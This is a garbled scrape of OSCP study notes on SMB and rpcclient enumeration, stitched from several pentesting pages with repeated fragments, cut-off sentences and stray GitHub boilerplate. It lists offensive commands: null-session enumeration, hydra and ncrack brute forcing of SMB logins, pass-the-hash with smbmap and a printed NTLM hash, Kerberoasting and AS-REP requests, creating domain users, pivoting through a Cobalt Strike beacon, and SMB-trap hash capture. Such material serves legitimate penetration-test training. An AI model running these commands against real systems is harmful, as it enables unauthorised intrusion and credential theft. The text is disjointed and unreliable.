rpcclient enumeration oscp

enumdrivers Enumerate installed printer drivers From the enumdomusers command, it was possible to obtain the users of the domain as well as the RID. rpcclient $> lookupsids S-1-5-21-1835020781-2383529660-3657267081-2003 sign Force RPC pipe connections to be signed Checklist - Local Windows Privilege Escalation, Pentesting JDWP - Java Debug Wire Protocol, 161,162,10161,10162/udp - Pentesting SNMP, 515 - Pentesting Line Printer Daemon (LPD), 548 - Pentesting Apple Filing Protocol (AFP), 1098/1099/1050 - Pentesting Java RMI - RMI-IIOP, 1433 - Pentesting MSSQL - Microsoft SQL Server, 1521,1522-1529 - Pentesting Oracle TNS Listener, 2301,2381 - Pentesting Compaq/HP Insight Manager, 3690 - Pentesting Subversion (svn server), 4369 - Pentesting Erlang Port Mapper Daemon (epmd), 8009 - Pentesting Apache JServ Protocol (AJP), 8333,18333,38333,18444 - Pentesting Bitcoin, 9100 - Pentesting Raw Printing (JetDirect, AppSocket, PDL-datastream), 10000 - Pentesting Network Data Management Protocol (ndmp), 24007,24008,24009,49152 - Pentesting GlusterFS, 50030,50060,50070,50075,50090 - Pentesting Hadoop, Reflecting Techniques - PoCs and Polygloths CheatSheet, Dangling Markup - HTML scriptless injection, HTTP Request Smuggling / HTTP Desync Attack, Regular expression Denial of Service - ReDoS, Server Side Inclusion/Edge Side Inclusion Injection, XSLT Server Side Injection (Extensible Stylesheet Languaje Transformations), Pentesting CI/CD (Github, Jenkins, Terraform), Windows Exploiting (Basic Guide - OSCP lvl), INE Courses and eLearnSecurity Certifications Reviews, Stealing Sensitive Information Disclosure from a Web, (represented in hexadecimal format) utilized by Windows to. This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository. | Current user access: READ/WRITE # lines. | Comment: # download everything recursively in the wwwroot share to /usr/share/smbmap. SMB allows you to share your resources to other computers over the network, version susceptible to known attacks (Eternal blue , wanna cry), Disabled by default in newer Windows version, reduced "chattiness" of SMB1. result was NT_STATUS_NONE_MAPPED The manipulation of the groups is not limited to the creation of a group. The privileges can be enumerated using the enumprivs command on rpcclient. path: C:\tmp Red Team Infrastructure. --------- ---- ------- Disk Permissions Moving on, same way, they can query info about specific AD users: Enumerate current user's privileges and many more (consult rpcclient for all available commands): Finally, of course they can run nmap if needed: Impacket provides even more tools to enumerate remote systems through compromised boxes. After manipulating the Privileges on the different users and groups it is possible to enumerate the values of those specific privileges for a particular user using the lsalookupprivvalue command. A Mind Map about OSCP Guide submitted by Rikunj Sindhwad on Jun 12, 2021. --------------- ---------------------- In there you may, many different batch, VBScript, and PowerShell, using some discovered credentials. List of SMB versions and corresponding Windows versions: SMB1 Windows 2000, XP and Windows 2003. #These are the commands I run in order every time I see an open SMB port, smbclient -N //{IP}/ --option="client min protocol"=LANMAN1, crackmapexec smb {IP} --pass-pol -u "" -p "", crackmapexec smb {IP} --pass-pol -u "guest" -p "", GetADUsers.py -dc-ip {IP} "{Domain_Name}/" -all, GetNPUsers.py -dc-ip {IP} -request "{Domain_Name}/" -format hashcat, GetUserSPNs.py -dc-ip {IP} -request "{Domain_Name}/", smbmap -H {IP} -u {Username} -p {Password}, smbclient "\\\\{IP}\\\" -U {Username} -W {Domain_Name} -l {IP}, smbclient "\\\\{IP}\\\" -U {Username} -W {Domain_Name} -l {IP} --pw-nt-hash `hash`, crackmapexec smb {IP} -u {Username} -p {Password} --shares, GetADUsers.py {Domain_Name}/{Username}:{Password} -all, GetNPUsers.py {Domain_Name}/{Username}:{Password} -request -format hashcat, GetUserSPNs.py {Domain_Name}/{Username}:{Password} -request, https://book.hacktricks.xyz/pentesting/pentesting-smb, Command: nmap -p 139,445 -vv -Pn --script=smb-vuln-cve2009-3103.nse,smb-vuln-ms06-025.nse,smb-vuln-ms07-029.nse,smb-vuln-ms08-067.nse,smb-vuln-ms10-054.nse,smb-vuln-ms10-061.nse,smb-vuln-ms17-010.nse {IP}, Description: SMB Vuln Scan With Nmap (Less Specific), Command: nmap --script smb-vuln* -Pn -p 139,445 {IP}, Command: hydra -t 1 -V -f -l {Username} -P {Big_Passwordlist} {IP} smb, Name: SMB/SMB2 139/445 consolesless mfs enumeration, Description: SMB/SMB2 139/445 enumeration without the need to run msfconsole, Note: sourced from https://github.com/carlospolop/legion, Command: msfconsole -q -x 'use auxiliary/scanner/smb/smb_version; set RHOSTS {IP}; set RPORT 139; run; exit' && msfconsole -q -x 'use auxiliary/scanner/smb/smb2; set RHOSTS {IP}; set RPORT 139; run; exit' && msfconsole -q -x 'use auxiliary/scanner/smb/smb_version; set RHOSTS {IP}; set RPORT 445; run; exit' && msfconsole -q -x 'use auxiliary/scanner/smb/smb2; set RHOSTS {IP}; set RPORT 445; run; exit'. This is what happens - attacker (10.0.0.5) uses proxychains with impacket's reg utility to retrieve the hostname of the box at 10.0.0.7 (WS02) via the compromised (CS beacon) box 10.0.0.2 (WS01): keyName hklm\system\currentcontrolset\control\computername\computername. It is possible to enumerate the minimum password length and the enforcement of complex password rules. result was NT_STATUS_NONE_MAPPED rpcclient $> lookupsids S-1-5-21-1835020781-2383529660-3657267081-501 This problem is solved using lookupnames whereupon providing username the SID of that particular user can be extracted with ease. SecureAuthCorp/impacket, https://www.cobaltstrike.com/help-socks-proxy-pivoting. getdompwinfo Retrieve domain password info rpcclient $> lookupsids S-1-5-21-1835020781-2383529660-3657267081-1003 getdispname Get the privilege name In the case of queryusergroups, the group will be enumerated. . . --------------- ---------------------- Sharename Type Comment setform Set form You get the idea, was pretty much the same for the Ubuntu guy cept that his user accounts were -3000. smbmap -u '' -p '' -H $ip # similar to crackmapexec --shares, smbmap -u Administrator -p aad3b435b51404eeaad3b435b51404ee:e101cbd92f05790d1a202bf91274f2e7 -H $ip, smbmap -u Administrator -p aad3b435b51404eeaad3b435b51404ee:e101cbd92f05790d1a202bf91274f2e7 -H $ip -r # list top level dir, smbmap -u Administrator -p aad3b435b51404eeaad3b435b51404ee:e101cbd92f05790d1a202bf91274f2e7 -H $ip -R # list everything recursively, smbmap -u Administrator -p aad3b435b51404eeaad3b435b51404ee:e101cbd92f05790d1a202bf91274f2e7 -H $ip -s wwwroot -R -A '. The below shows traffic captures that illustrate that the box 10.0.0.2 enumerates 10.0.0.7 using SMB traffic only: Below further proves that the box 10.0.0.2 (WS01 which acted as proxy) did not generate any sysmon logs and the target box 10.0.0.7 (WS02) logged a couple of events, that most likely would not attract much attention from the blue teams: Note how only the SMB traffic between the compromised system and the DC is generated, but no new processes are spawned by the infected. We can also check if the user we created has been assigned a SID or not using the lookupnames command on the rpcclient. if IPC$ share is enabled , and have anonymous access we can enumerate users through, SAMBA 3.x-4.x # vulnerable to linux/samba/is_known_pipename, SAMBA 3.5.11 # vulnerable to linux/samba/is_known_pipename, good script to use if none of scanner giving version for smb, # Requires root or enough permissions to use tcpdump, # Will listen for the first 7 packets of a null login, # Will sometimes not capture or will print multiple. The polices that are applied on a Domain are also dictated by the various group that exists. Port_Number: 137,138,139 #Comma separated if there is more than one. -O, --socket-options=SOCKETOPTIONS socket options to use You can also fire up wireshark and list target shares with smbclient , you can use anonymous listing to explained above and after that find , # smbenum 0.2 - This script will enumerate SMB using every tool in the arsenal, echo -e "\n########## Getting Netbios name ##########", echo -e "\n########## Checking for NULL sessions ##########", output=`bash -c "echo 'srvinfo' | rpcclient $IP -U%"`, echo -e "\n########## Enumerating domains ##########", bash -c "echo 'enumdomains' | rpcclient $IP -U%", echo -e "\n########## Enumerating password and lockout policies ##########", echo -e "\n########## Enumerating users ##########", nmap -Pn -T4 -sS -p139,445 --script=smb-enum-users $IP, bash -c "echo 'enumdomusers' | rpcclient $IP -U%", bash -c "echo 'enumdomusers' | rpcclient $IP -U%" | cut -d[ -f2 | cut -d] -f1 > /tmp/$IP-users.txt, echo -e "\n########## Enumerating Administrators ##########", net rpc group members "Administrators" -I $IP -U%, echo -e "\n########## Enumerating Domain Admins ##########", net rpc group members "Domain Admins" -I $IP -U%, echo -e "\n########## Enumerating groups ##########", nmap -Pn -T4 -sS -p139,445 --script=smb-enum-groups $IP, echo -e "\n########## Enumerating shares ##########", nmap -Pn -T4 -sS -p139,445 --script=smb-enum-shares $IP, echo -e "\n########## Bruteforcing all users with 'password', blank and username as password", hydra -e ns -L /tmp/$IP-users.txt -p password $IP smb -t 1, hydra -t 1 -V -f -l administrator -P /usr/share/wordlists/rockyou.txt $ip smb, nmap -p445 --script smb-brute --script-args userdb=userfilehere,passdb=/usr/share/seclists/Passwords/Common-Credentials/10-million-password-list-top-1000000.txt $ip -vvvv. The enum4linux utility within Kali Linux is particularly useful; with it, you can obtain the following: If you don't know what is NTLM or you want to know how it works and how to abuse it, you will find very interesting this page about. While having some privileges it is also possible to create a user within the domain using the rpcclient. A collection of commands and tools used for conducting enumeration during my OSCP journey. To look for possible exploits to the SMB version it important to know which version is being used. for all files), recurse: toggles recursion on (default: off), prompt: toggles prompting for filenames off (default: on), mget: copies all files matching the mask from host to client machine, Specially interesting from shares are the files called, by all authenticated users in the domain. In the demonstration, it can be observed that a query was generated for LSA which returned with information such as Domain Name and SID. enumforms Enumerate forms with a RID:[0x457] Hex 0x457 would = decimal. These privileges can help the attacker plan for elevating privileges on the domain. can be cracked with, For passwordless login, add id_rsa.pub to target's authorized_keys, Add the extracted domain to /etc/hosts and dig again, rpcclient --user="" --command=enumprivs -N 10.10.10.10, rpcdump.py 10.11.1.121 -p 135 | grep ncacn_np // get pipe names, smbclient -L //10.10.10.10 -N // No password (SMB Null session), crackmapexec smb 10.10.10.10 -u '' -p '' --shares, crackmapexec smb 10.10.10.10 -u 'sa' -p '' --shares, crackmapexec smb 10.10.10.10 -u 'sa' -p 'sa' --shares, crackmapexec smb 10.10.10.10 -u '' -p '' --share share_name, crackmapexec smb 192.168.0.115 -u '' -p '' --shares --pass-pol, ncrack -u username -P rockyou.txt -T 5 10.10.10.10 -p smb -v, mount -t cifs "//10.1.1.1/share/" /mnt/wins, mount -t cifs "//10.1.1.1/share/" /mnt/wins -o vers=1.0,user=root,uid=0,gid=0. Once proxychains are configured, the attacker can start enumerating the AD environment through the beacon like so: Moving on, same way, they can query info about specific AD users: Enumerate current user's privileges and many more (consult rpcclient for all available commands): Finally, of course they can run nmap if needed: Impacket provides even more tools to enumerate remote systems through compromised boxes. In the demonstration, a user hacker is created with the help of a createdomuser and then a password is provided to it using the setuserinfo2 command. Adding it to the original post. Depending on the user privilege it is possible to change the password using the chgpasswd command. | \\[ip]\C$: The hash can then be cracked offline or used in an. Nmap done: 1 IP address (1 host up) scanned in 5.58 seconds, # Requires root or enough permissions to use tcpdump, # Will listen for the first 7 packets of a null login, # Will sometimes not capture or will print multiple. --usage Display brief usage message, Common samba options: After the tunnel is up, you can comment out the first socks entry in proxychains config. Cannot retrieve contributors at this time. . -d, --debuglevel=DEBUGLEVEL Set debug level This information includes the Group Name, Description, Attributes, and the number of members in that group. setprinter Set printer comment netname: ADMIN$ The name is derived from the enumeration of domain groups. Assumes valid machine account to this domain controller. [DATA] 1 tasks, 1 servers, 816 login tries (l:1/p:816), ~816 tries per task Nmap scan report for [ip] --------------- ---------------------- echoaddone Add one to a number Null sessions were enabled by default on legacy systems but have been disabled from Windows XP SP2 and Windows Server 2003. netname: PSC 2170 Series enumdomusers Enumerate domain users ---- ----------- It can be observed that the os version seems to . The ability to manipulate a user doesnt end with creating a user or changing the password of a user. if [ -z $1 ]; then echo "Usage: ./smbver.sh RHOST {RPORT}" && exit; else rhost=$1; fi, if [ ! Protocol_Name: SMB #Protocol Abbreviation if there is one. SaAddUsers 0:65281 (0x0:0xff01) It can be used on the rpcclient shell that was generated to enumerate information about the server. The RPC service works on the RPC protocols that form a low-level inter-process communication between different Applications. (MS)RPC. That command reveals the SIDs for different users on the domain. and therefore do not correspond to the rights assigned locally on the server. MSRPC was originally derived from open source software but has been developed further and copyrighted by . Ill include examples, but where I use PWK labs, Ill anonymize the data per their rules. -n, --netbiosname=NETBIOSNAME Primary netbios name WARNING: Restorefile (./hydra.restore) from a previous session found, to prevent overwriting, you have 10 seconds to abort 623/UDP/TCP - IPMI. result was NT_STATUS_NONE_MAPPED This is purely my experience with CTFs, Tryhackme, Vulnhub, and Hackthebox prior to enrolling in OSCP. SYSVOL NO ACCESS, [+] Finding open SMB ports. password: | \\[ip]\wwwroot: password: rpcclient $> srvinfo rpcclient -U "" 192.168.1.100 rpcclient $> querydominfo . [Original] As I've been working through PWK/OSCP for the last month, one thing I've noticed is that enumeration of SMB is tricky, and different tools . This is made from the words get domain password information. sinkdata Sink data OSCP notes: ACTIVE INFORMATION GATHERING. lsalookupprivvalue Get a privilege value given its name schannelsign Force RPC pipe connections to be signed (not sealed) with 'schannel' (NETSEC). May need to run a second time for success. great when smbclient doesnt work, smbmap -u Administrator -p aad3b435b51404eeaad3b435b51404ee:e101cbd92f05790d1a202bf91274f2e7 -H $ip -x whoami # no work, smbmap -R $sharename -H $ip -A $fileyouwanttodownload -q, # Requires root or enough permissions to use tcpdump, # Will listen for the first 7 packets of a null login, # Will sometimes not capture or will print multiple. lsaenumsid Enumerate the LSA SIDS It accepts the group name as a parameter. Nice! Reconnecting with SMB1 for workgroup listing. This command can be used to extract the details regarding the user that the SID belongs. ADMIN$ NO ACCESS . netshareenum Enumerate shares S-1-5-21-1835020781-2383529660-3657267081-2002 LEWISFAMILY\user (1) Learn. 1080 - Pentesting Socks. During our previous demonstrations, we were able to enumerate the permissions and privileges of users and groups based on the RID of that particular user. Assumes valid machine account to this domain controller. If you get credentials, you can re-run to show new access: nmap --script smb-enum-shares -p 139,445 [ip]. Some of these commands are based on those executed by the Autorecon tool. The next command to demonstrate is lookupsids. It can be used on the rpcclient shell that was generated to enumerate information about the server. A tag already exists with the provided branch name. For this particular demonstration, we will first need a SID. Protocol_Description: Server Message Block #Protocol Abbreviation Spelled out. enumjobs Enumerate print jobs Enum4linux. SMB2 Windows Vista SP1 and Windows 2008, nmap -n -v -Pn -p139,445 -sV 192.168.0.101, smbclient -L \\$ip --option='client min protocol=NT1', # if getting error "protocol negotiation failed: NT_STATUS_CONNECTION_DISCONNECTED", # Will list all shares with available permissions, smbmap -u jsmith -p password1 -d workgroup -H 192.168.0.1, nmap --script smb-enum-shares -p 139,445 $ip, smbclient \\\\192.168.1.101\\C$ --option='client min protocol=NT1', smbclient \\\\192.168.1.101\\admin$ -U t-skid, # Connect with valid username and password, smbmap -R $sharename -H $ip -A $fileyouwanttodownload -q, smbmap -u Administrator -p aad3b435b51404eeaad3b435b51404ee:e101cbd92f05790d1a202bf91274f2e7 -H $ip -s wwwroot -R -A '. Pentesting Cheatsheets. Where the output of the magic script needs to be stored? [+] User SMB session establishd on [ip] dfsexist Query DFS support NETLOGON | Type: STYPE_DISKTREE | Anonymous access: READ It is possible to target the group using the RID that was extracted while running the enumdomgroup. This can be extracted using the lookupnames command used earlier. The following lists commands that you can issue to SAMR, LSARPC, and LSARPC-DS interfaces upon, # You can also use samrdump.py for this purpose, Enumerate trusted domains within an AD forest. The Windows library URLMon.dll automatically try to authenticaticate to the host when a page tries to access some contect via SMB, for example: Which are used by some browsers and tools (like Skype), From: http://www.elladodelmal.com/2017/02/como-hacer-ataques-smbtrap-windows-con.html, Similar to SMB Trapping, planting malicious files onto a target system (via SMB, for example) can illicit an SMB authentication attempt, allowing the NetNTLMv2 hash to be intercepted with a tool such as Responder. In the previous command, we used the getdompwinfo to get the password properties of the domain administrated by the policies. getdataex Get printer driver data with keyname dfsadd Add a DFS share Which script should be executed when the script gets closed? Heres an example Unix Samba 2.2.3a: Windows SMB is more complex than just a version, but looking in wireshark will give a bunch of information about the connection. Most secure. | Disclosure date: 2006-6-27 -V, --version Print version, Connection options: is SMB over Ip. SeSecurityPrivilege 0:8 (0x0:0x8) Obviously the SIDS are different but you can still pull down the usernames and start bruteforcing those other open services . I found one guy running OS X 10.4 with Samba running and one guy running Ubuntu with Samba running, oh and also one guy running XP SP0/1 vulnerable to DCOM (wont even go down that road). SegFault:~/Documents/Evil cg$ hydra -l lewis -P common-passwords.txt 192.168.182.36 smb -V |_smb-vuln-regsvc-dos: ERROR: Script execution failed (use -d to debug) Many Git commands accept both tag and branch names, so creating this branch may cause unexpected behavior. In the scenarios where there is a possibility of multiple domains in the network, there the attacker can use enumdomains to enumerate all the domains that might be deployed in that network. samlookuprids Look up names New Folder - 6 D 0 Sun Dec 13 06:55:42 2015 . change_trust_pw Change Trust Account Password If you're having trouble getting the version from the usual methods, you might have to use wireshark or tcpdump to inspect the packets. Enumerate Domain Users.

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